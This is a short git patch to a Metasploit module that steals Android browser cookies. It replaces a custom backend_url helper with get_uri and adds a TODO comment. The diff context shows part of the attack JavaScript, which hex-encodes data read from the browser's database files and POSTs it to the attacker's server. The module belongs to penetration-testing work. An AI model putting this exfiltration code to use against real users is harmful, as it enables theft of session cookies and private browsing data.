From 123668495452c0a3675bd90d27a21baf7491e07c Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Sun, 28 Dec 2014 15:06:34 -0600 Subject: [PATCH] Use get_uri instead, note lack of Rex::Text method See rapid7#4461 --- .../gather/android_browser_new_tab_cookie_theft.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb index 2cafe75482..ea663a8bb7 100644 --- a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb +++ b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary return (c.length < 2) ? '0'+c : c; }).join(''); var x2 = new XMLHttpRequest(); - x2.open('POST', '#{backend_url}/'); + x2.open('POST', '#{get_uri}/'); x2.setRequestHeader('Content-type', 'text/plain'); x2.send(hex); } @@ -130,13 +130,7 @@ class Metasploit3 < Msf::Auxiliary '/data/data/com.android.browser/databases/' + file end - def backend_url - proto = (datastore["SSL"] ? "https" : "http") - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] - port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" - "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH'].gsub(/^\//, '')}" - end - + # TODO: Make this a proper Rex::Text function def hex2bin(hex) hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join end